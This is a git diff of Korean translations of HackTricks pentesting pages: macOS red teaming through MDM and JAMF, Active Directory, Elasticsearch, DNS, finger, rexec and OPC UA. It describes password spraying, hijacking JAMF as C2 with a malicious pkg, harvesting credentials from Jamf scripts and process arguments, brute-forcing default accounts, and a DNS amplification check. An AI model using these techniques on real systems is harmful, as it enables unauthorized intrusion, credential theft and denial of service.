MDM은 프로필을 설치, 쿼리 또는 제거하고, 애플리케이션을 설치하고, 로컬 관리자 계정을 생성하고, 펌웨어 비밀번호를 설정하고, FileVault 키를 변경할 수 있는 권한을 가집니다...
자신의 MDM을 운영하려면 **공급업체에 의해 서명된 CSR**이 필요하며, 이를 [**https://mdmcert.download/**](https://mdmcert.download/)에서 얻으려고 시도할 수 있습니다. Apple 장치용 MDM을 운영하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
그러나 등록된 장치에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명되어야 합니다... 그러나 MDM 등록 시 **장치가 MDM의 SSL 인증서를 신뢰할 수 있는 CA로 추가**하므로 이제 무엇이든 서명할 수 있습니다.
그러나 등록된 장치에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명되어야 합니다... 그러나 MDM 등록 시 **장치가 MDM의 SSL 인증서를 신뢰할 수 있는 CA로 추가하므로**, 이제 무엇이든 서명할 수 있습니다.
장치를 MDM에 등록하려면 **`mobileconfig`** 파일을 루트로 설치해야 하며, 이는 **pkg** 파일을 통해 전달될 수 있습니다(압축하여 zip으로 만들고 Safari에서 다운로드하면 압축이 해제됩니다).
@ -54,7 +54,7 @@ JAMF는 **사용자 정의 스크립트**(시스템 관리자가 개발한 스
#### JAMF 자체 등록
`https://<회사 이름>.jamfcloud.com/enroll/`와 같은 페이지로 이동하여 **자체 등록이 활성화되어 있는지** 확인하세요. 활성화되어 있다면 **접근을 위한 자격 증명을 요청할 수 있습니다.**
`https://<company-name>.jamfcloud.com/enroll/`와 같은 페이지로 가서 **자체 등록이 활성화되어 있는지** 확인하세요. 활성화되어 있다면 **접근을 위한 자격 증명을 요청할 수 있습니다.**
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용하여 비밀번호 스프레이 공격을 수행할 수 있습니다.
@ -89,7 +89,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
그래서 공격자는 설치할 때 이 파일을 **덮어쓰는** 악성 패키지(`pkg`)를 배포할 수 있으며, 이제 **Typhon 에이전트의 Mythic C2 리스너에 대한 URL**을 설정하여 JAMF를 C2로 악용할 수 있습니다.
그래서 공격자는 설치할 때 이 파일을 **덮어쓰는** 악성 패키지(`pkg`)를 배포할 수 있으며, 이제 **Typhon 에이전트의 Mythic C2 리스너에 대한 URL을 설정하여 JAMF를 C2로 악용**할 수 있습니다.
{% code overflow="wrap" %}
```bash
@ -109,17 +109,17 @@ sudo jamf policy -id 0
이 정보를 가지고, **도난당한** 하드웨어 **UUID**와 **SIP 비활성화**된 **VM**을 생성하고, **JAMF 키체인**을 드롭한 후, Jamf **에이전트**를 **후킹**하여 정보를 훔쳐야 합니다.
#### 비밀 훔치기
#### 비밀 정보 훔치기
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
관리자가 Jamf를 통해 실행하고자 할 **사용자 정의 스크립트**를 위해 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링할 수도 있습니다. 이 스크립트는 **여기에 배치되고 실행된 후 제거됩니다.** 이 스크립트는 **자격 증명**을 포함할 수 있습니다.
관리자가 Jamf를 통해 실행하고자 할 **커스텀 스크립트**를 위해 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링할 수도 있습니다. 이 스크립트는 **여기에 배치되고 실행된 후 제거**됩니다. 이러한 스크립트는 **자격 증명**을 포함할 수 있습니다.
그러나 **자격 증명**은 이러한 스크립트에 **매개변수**로 전달될 수 있으므로, `ps aux | grep -i jamf`를 모니터링해야 합니다 (루트 권한 없이도 가능합니다).
스크립트 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)는 새 파일이 추가되거나 새 프로세스 인수가 생기는 것을 감지할 수 있습니다.
### macOS 원격 액세스
### macOS 원격 접근
또한 **MacOS**의 "특별한" **네트워크** **프로토콜**에 대해:
@ -143,11 +143,11 @@ sudo jamf policy -id 0
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
도움이 될 수 있는 **로컬 MacOS 도구**는 `dscl`입니다:
도움이 될 수 있는 **로컬 MacOS 도구**는 `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
또한 MacOS에서 AD를 자동으로 열거하고 kerberos와 상호작용하기 위해 준비된 몇 가지 도구가 있습니다:
또한 MacOS에서 AD를 자동으로 열거하고 kerberos와 상호작용할 수 있도록 준비된 도구들이 있습니다:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound는 MacOS 호스트에서 Active Directory 관계를 수집하고 수집할 수 있도록 하는 Bloodhound 감사 도구의 확장입니다.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 macOS에서 Heimdal krb5 API와 상호작용하도록 설계된 Objective-C 프로젝트입니다. 이 프로젝트의 목표는 타겟에 다른 프레임워크나 패키지를 요구하지 않고 네이티브 API를 사용하여 macOS 장치에서 Kerberos에 대한 보안 테스트를 개선하는 것입니다.
@ -161,11 +161,11 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
MacOS 사용자 유형은 세 가지입니다:
* **로컬 사용자** — 로컬 OpenDirectory 서비스에 의해 관리되며, Active Directory와는 연결되어 있지 않습니다.
* **네트워크 사용자** — DC 서버에 연결하여 인증이 필요한 변동성 Active Directory 사용자입니다.
* **로컬 사용자** — 로컬 OpenDirectory 서비스에 의해 관리되며, Active Directory와는 어떤 식으로도 연결되어 있지 않습니다.
* **네트워크 사용자** — DC 서버에 연결하여 인증을 요구하는 변동성 Active Directory 사용자입니다.
* **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default._ 폴더에 저장됩니다.\
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default_ 폴더에 저장됩니다.\
예를 들어, _mark_라는 사용자에 대한 정보는 _/var/db/dslocal/nodes/Default/users/mark.plist_에 저장되며, _admin_ 그룹에 대한 정보는 _/var/db/dslocal/nodes/Default/groups/admin.plist_에 있습니다.
HasSession 및 AdminTo 엣지를 사용하는 것 외에도, **MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 엣지를 추가합니다**:
@ -229,7 +229,7 @@ mount -t smbfs //server/folder /local/mount/point
```
## 키체인 접근
키체인은 아마도 민감한 정보를 포함하고 있으며, 프롬프트를 생성하지 않고 접근할 경우 레드 팀 연습을 진행하는 데 도움이 될 수 있습니다:
키체인에는 프롬프트를 생성하지 않고 접근할 경우 레드 팀 연습을 진행하는 데 도움이 될 수 있는 민감한 정보가 포함되어 있을 가능성이 높습니다:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -237,7 +237,7 @@ mount -t smbfs //server/folder /local/mount/point
## 외부 서비스
MacOS 레드 팀은 일반적인 Windows 레드 팀과 다릅니다. 일반적으로 **MacOS는 여러 외부 플랫폼과 직접 통합되어 있습니다**. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 접근하고, OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 접근하는 것입니다.
MacOS 레드 팀은 일반적인 Windows 레드 팀과 다릅니다. 왜냐하면 **MacOS는 여러 외부 플랫폼과 직접 통합되어 있기 때문입니다**. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 접근하고, OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 접근하는 것입니다.
## 기타 레드 팀 기술
@ -257,7 +257,7 @@ Safari에서 파일이 다운로드될 때, "안전한" 파일이라면 **자동
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -272,7 +272,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -50,13 +50,13 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
* `port:4840`
## 참고자료
## References
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -71,7 +71,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 여러분의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 기본 정보
**유효한 자격 증명**(사용자 이름 및 비밀번호)을 알고 있다면 **호스트 내에서 명령을 실행할 수 있는 서비스**입니다.
유효한 **자격 증명**(사용자 이름 및 비밀번호)을 알고 있다면 **호스트 내에서 명령을 실행할 수 있는 서비스**입니다.
**기본 포트:** 512
```
@ -36,9 +36,9 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -52,7 +52,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -17,19 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**Get a hacker's perspective on your web apps, network, and cloud**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 기본 정보
## Basic information
Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 하며, 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK 스택이라고 하며, Logstash와 Kibana를 포함하고 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 보유하고 있습니다.
Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 하 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK Stack이라고 하며, Logstash와 Kibana를 포함하고 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 가지고 있습니다.
### Elasticsearch 인덱스란 무엇인가요?
### What is an Elasticsearch index?
Elasticsearch **인덱스**는 **JSON** 형식으로 저장된 **관련 문서**의 모음입니다. 각 문서는 **키**와 해당 **값**(문자열, 숫자, 불리언, 날짜, 배열, 지리적 위치 등)으로 구성됩니다.
Elasticsearch**인덱스**는 **관련 문서**의 모음으로 **JSON** 형식으로 저장됩니다. 각 문서는 **키**와 해당 **값**(문자열, 숫자, 불리언, 날짜, 배열, 지리적 위치 등)으로 구성됩니다.
Elasticsearch는 빠른 전체 텍스트 검색을 용이하게 하기 위해 **역 인덱스**라는 효율적인 데이터 구조를 사용합니다. 이 인덱스는 문서 내의 모든 고유 단어를 나열하고 각 단어가 나타나는 문서를 식별합니다.
@ -37,21 +37,21 @@ Elasticsearch는 빠른 전체 텍스트 검색을 용이하게 하기 위해 **
**기본 포트**: 9200/tcp
## 수동 열거
## Manual Enumeration
### 배너
### Banner
Elasticsearch에 접근하는 데 사용되는 프로토콜은 **HTTP**입니다. HTTP를 통해 접근하면 흥미로운 정보를 찾을 수 있습니다: `http://10.10.10.115:9200/`
![](<../.gitbook/assets/image (294).png>)
`/`에 접근할 때 해당 응답이 보이지 않으면 다음 섹션을 참조하세요.
`/`에 접근할 때 해당 응답이 보이지 않으면 다음 섹션을 참조하십시오.
### 인증
### Authentication
**기본적으로 Elasticsearch는 인증이 활성화되어 있지 않습니다**, 따라서 기본적으로 자격 증명 없이 데이터베이스 내의 모든 것에 접근할 수 있습니다.
**기본적으로 Elasticsearch는 인증이 활성화되어 있지 않으므로**, 기본적으로 자격 증명 없이 데이터베이스 내의 모든 것에 접근할 수 있습니다.
인증이 비활성화되어 있는지 확인하려면 다음 요청을 보낼 수 있습니다:
인증이 비활성화되어 있는지 확인하려면 다음 요청을 사용하십시오:
```bash
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
@ -60,7 +60,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
그것은 인증이 구성되어 있으며 **유효한 자격 증명**이 필요하다는 것을 의미합니다. 그런 다음 [**브루트포스를 시도할 수 있습니다**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 BF HTTP 기본 인증을 사용할 수 있습니다).\
그것은 인증이 구성되어 있으며 **유효한 자격 증명이 필요**하다는 것을 의미합니다. 그런 다음 [**브루트포스를 시도할 수 있습니다**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 BF HTTP 기본 인증을 사용할 수 있습니다).\
여기 **기본 사용자 이름 목록**이 있습니다: _**elastic** (슈퍼유저), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ 이전 버전의 Elasticsearch는 이 사용자에 대해 기본 비밀번호 **changeme**를 가지고 있습니다.
```
curl -X GET http://user:password@IP:9200/
@ -114,7 +114,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
### Indices
`http://10.10.10.115:9200/_cat/indices?v`에 접근하여 **모든 인덱스를 수집할 수 있습니다**.
`http://10.10.10.115:9200/_cat/indices?v`에 접근하여 **모든 인덱스****수집할 수 있습니다**.
```
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
@ -166,7 +166,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
"name" : "how to get a job"
}'
```
해당 cmd는 "_bookId_", "_author_", "_publisher_" 및 "_name_" 속성을 가진 `books` 유형의 문서로 `bookindex`라는 **새 인덱스**를 생성합니다.
그 명령은 `_bookId_`, `_author_`, `_publisher_``_name_` 속성을 가진 `books` 유형의 문서로 `bookindex`라는 **새 인덱스**를 생성합니다.
**새 인덱스가 이제 목록에 나타나는지 확인하세요**:
@ -190,9 +190,9 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하는 20개 이상의 맞춤형 도구를 사용하세요. 여러분의 노력을 설득력 있는 보고서로 바꾸세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **기본 정보**
**도메인 네임 시스템(DNS)**은 인터넷의 디렉토리 역할을 하며, 사용자가 google.com 또는 facebook.com과 같은 **기억하기 쉬운 도메인 이름**을 통해 웹사이트에 접근할 수 있도록 합니다. 도메인 이름을 IP 주소로 변환함으로써 DNS는 웹 브라우저가 인터넷 리소스를 신속하게 로드할 수 있도록 하여 우리가 온라인 세계를 탐색하는 방식을 단순화합니다.
**도메인 네임 시스템(DNS)**은 인터넷의 디렉토리 역할을 하 사용자가 google.com 또는 facebook.com과 같은 **기억하기 쉬운 도메인 이름**을 통해 웹사이트에 접근할 수 있도록 합니다. 도메인 이름을 IP 주소로 변환함으로써 DNS는 웹 브라우저가 인터넷 리소스를 신속하게 로드할 수 있도록 하여 우리가 온라인 세계를 탐색하는 방식을 단순화합니다.
**기본 포트:** 53
```
@ -107,7 +107,7 @@ auxiliary/gather/enum_dns #Perform enumeration actions
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
```
### DNS - 리버스 BF
### DNS - Reverse BF
```bash
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
@ -151,14 +151,14 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```bash
dnsdict6 -s -t <domain>
```
IPv6 주소를 사용한 역 DNS 브루트포스
IPv6 주소를 사용한 역 DNS 브루트포스 공격
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS Recursion DDoS
만약 **DNS 재귀가 활성화되어 있다면**, 공격자는 UDP 패킷의 **원본**을 **스푸핑**하여 **DNS가 피해 서버로 응답을 보내도록** 만들 수 있다. 공격자는 **ANY** 또는 **DNSSEC** 레코드 유형을 악용할 수 있는데, 이들은 더 큰 응답을 가지기 때문이다.\
DNS가 **재귀**를 지원하는지 **확인**하는 방법은 도메인 이름을 쿼리하고 **응답에 "ra" 플래그** (_재귀 사용 가능_)가 있는지 **확인**하는 것이다:
DNS가 **재귀**를 지원하는지 **확인**하는 방법은 도메인 이름을 쿼리하고 **플래그 "ra"** (_재귀 가능_)가 응답에 있는지 **확인**하는 것이다:
```bash
dig google.com A @<IP>
```
@ -172,7 +172,7 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
@ -289,9 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
@ -51,7 +51,7 @@ finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
```
#### **Nmap 기본 스크립트를 사용하여 스크립트를 실행합니다.**
#### **Nmap 기본 스크립트를 사용하여 실행하는 스크립트**
